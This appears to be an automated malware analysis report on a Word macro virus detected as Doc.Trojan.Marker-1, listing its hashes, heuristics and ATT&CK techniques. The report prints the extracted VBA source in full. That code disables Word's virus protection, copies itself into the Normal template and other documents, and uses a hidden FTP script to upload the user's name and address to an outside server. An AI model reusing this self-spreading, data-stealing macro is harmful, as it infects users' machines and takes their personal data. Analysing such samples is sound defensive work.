Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c9f848a9455d48b0…

MALICIOUS

Office (OLE)

47.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 44106bb2d0f53a33e0c3d109cfb730d3 SHA-1: 75a1cd936868d302b1f467d484eb902f64943e6f SHA-256: c9f848a9455d48b002412de4fad2bb98b489a3749dc5988bc85f0ec762cc3677
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains VBA macros that utilize the Shell() function, indicating an attempt to execute external commands. The macro code appears to be designed to open specific document files and potentially log or extract code, suggesting a downloader or dropper functionality. The presence of ClamAV detections further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30139 bytes
SHA-256: 46ec596f68a5eefbb9cc594bcd37095d432be7f58f44c041bab7535199c03d23
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub CommandButton1_Click()
Documents.Open FileName:="ïóòåâîé_ëèñò.dot"

End Sub

Private Sub CommandButton11_Click()
Documents.Open FileName:="decide99.doc"

End Sub

Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 16385, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 26384, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End
... (truncated)